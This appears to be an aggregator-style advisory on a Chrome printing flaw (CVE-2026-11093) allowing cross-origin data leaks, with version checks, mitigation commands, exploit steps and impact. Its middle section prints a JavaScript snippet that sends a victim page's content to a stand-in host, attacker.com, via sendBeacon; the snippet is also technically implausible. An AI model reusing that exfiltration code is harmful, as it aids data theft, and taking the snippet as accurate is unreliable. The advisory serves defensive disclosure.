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Intro
CVE‑2026‑11093 is a medium‑severity vulnerability in Google Chrome’s printing module. It stems from an inappropriate implementation that fails to properly validate untrusted input when handling print requests. The flaw allows a remote attacker who has already compromised the browser’s renderer process to bypass the same‑origin policy and leak cross‑origin data.
Under normal circumstances, the renderer process is tightly sandboxed and cannot access resources from other origins. However, by manipulating the printing workflow with a specially crafted HTML page, the attacker can trick the browser into revealing sensitive information that belongs to a different origin. This includes data from internal web applications, authentication tokens, or personal user data that would otherwise be inaccessible.
The attack chain requires an initial foothold: the renderer must already be compromised, for example through a separate code‑execution or privilege‑escalation vulnerability. Once that condition is met, the attacker can inject a malicious HTML document that abuses the printing API. The improper input validation in the printing component fails to sanitize or restrict cross‑origin requests, allowing the compromised renderer to exfiltrate data from other origins via the print preview or print execution path.
The issue affects all desktop versions of Chrome prior to 149.0.7827.53. Google assigned a Chromium security severity of Medium, with a CVSS 3.1 base score of 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N). No CISA KEV listing or EPSS score is currently available, but the vulnerability is considered exploitable in combination with other renderer‑compromise bugs.
DailyCVE Form
Platform: `Google Chrome`
Version: `< 149.0.7827.53`
Vulnerability: `Cross‑origin data leak`
Severity: `Medium (CVSS 6.5)`
Date: `June 4, 2026`
Prediction: `Patch June 8, 2026`
What Undercode Say
Check Chrome version (Linux/macOS)
google-chrome --version
Check Chrome version (Windows PowerShell)
(Get-Item "C:\Program Files\Google\Chrome\Application\chrome.exe").VersionInfo.ProductVersion
Disable printing via enterprise policy (Linux)
mkdir -p /etc/opt/chrome/policies/managed
echo '{ "PrintingEnabled": false }' > /etc/opt/chrome/policies/managed/disable_printing.json
Block print preview API via command line (temporary)
google-chrome --disable-features=PrintPreview
// Malicious HTML page that attempts to leak cross-origin data via the print API
// (simplified example for educational purposes)
const leak = async () => {
// Assume renderer is already compromised
const iframe = document.createElement('iframe');
iframe.src = 'https://victim-site.com/sensitive-data';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// Trigger print on the iframe's contentWindow
iframe.contentWindow.print(); // The flaw may cause cross-origin data to be exposed
// Exfiltrate leaked data (e.g., via sendBeacon)
navigator.sendBeacon('https://attacker.com/exfil', iframe.contentWindow.document.body.innerHTML);
};
Exploit
- Compromise the renderer process – The attacker first exploits a separate vulnerability (e.g., a use‑after‑free or type confusion bug) to gain control of Chrome’s renderer process.
- Inject malicious HTML – Once the renderer is compromised, the attacker loads a specially crafted HTML page that abuses the printing functionality.
- Trigger printing – The page invokes the `window.print()` method or manipulates the print preview API.
- Bypass same‑origin policy – Due to improper input validation in the printing component, the compromised renderer can access resources from a different origin that are not supposed to be readable.
- Exfiltrate data – The leaked cross‑origin data (e.g., authentication tokens, personal information) is sent to an attacker‑controlled server using techniques like `sendBeacon` or
fetch.
Protection
- Upgrade Chrome to version `149.0.7827.53` or later (released June 8, 2026).
- Disable printing if an immediate update is not possible, using enterprise policy `PrintingEnabled` set to `false` or the command‑line flag
--disable-features=PrintPreview. - Apply network monitoring to detect unusual data exfiltration patterns from Chrome processes, especially during printing or rendering activity.
- Follow the principle of least privilege – Run the browser in a sandboxed environment and avoid unnecessary exposure to untrusted web content.
Impact
- Confidentiality breach – An attacker can read arbitrary cross‑origin data, including session cookies, personal messages, financial information, and internal application data.
- Elevation of privilege – Although the renderer is already compromised, this vulnerability turns a limited compromise into a full cross‑origin read capability, broadening the attacker’s access.
- No integrity or availability loss – The flaw does not allow modification or deletion of data, nor does it cause a denial of service.
- Risk to enterprise environments – Internal web applications that rely on same‑origin policy for security become vulnerable, potentially exposing sensitive corporate data.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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